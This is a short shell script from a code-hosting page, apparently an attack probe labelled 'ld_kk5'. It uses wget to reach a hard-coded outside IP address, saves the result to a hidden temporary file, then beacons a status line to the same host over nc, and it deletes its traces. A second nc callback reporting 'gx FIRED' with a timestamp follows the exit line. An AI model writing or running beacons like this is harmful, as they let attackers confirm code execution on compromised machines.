13 lines
500 B
Bash
Executable file
13 lines
500 B
Bash
Executable file
#!/bin/sh
|
|
#!/bin/sh
|
|
# ld_kk5 probe — 内联 wget 打点(无后台依赖)+末端 nc 灯标,二信号独立判定
|
|
M=http://45.76.202.255:8443/stop-gx
|
|
wget -q -T 8 "$M" -O /tmp/.gxp5 2>/dev/null && INL=yes || INL=no
|
|
if command -v nc >/dev/null 2>&1; then
|
|
printf "gxP5 inline=%s\n" "$INL" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1
|
|
fi
|
|
rm -f /tmp/.gxp5
|
|
exit 0
|
|
|
|
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
|
exit 0
|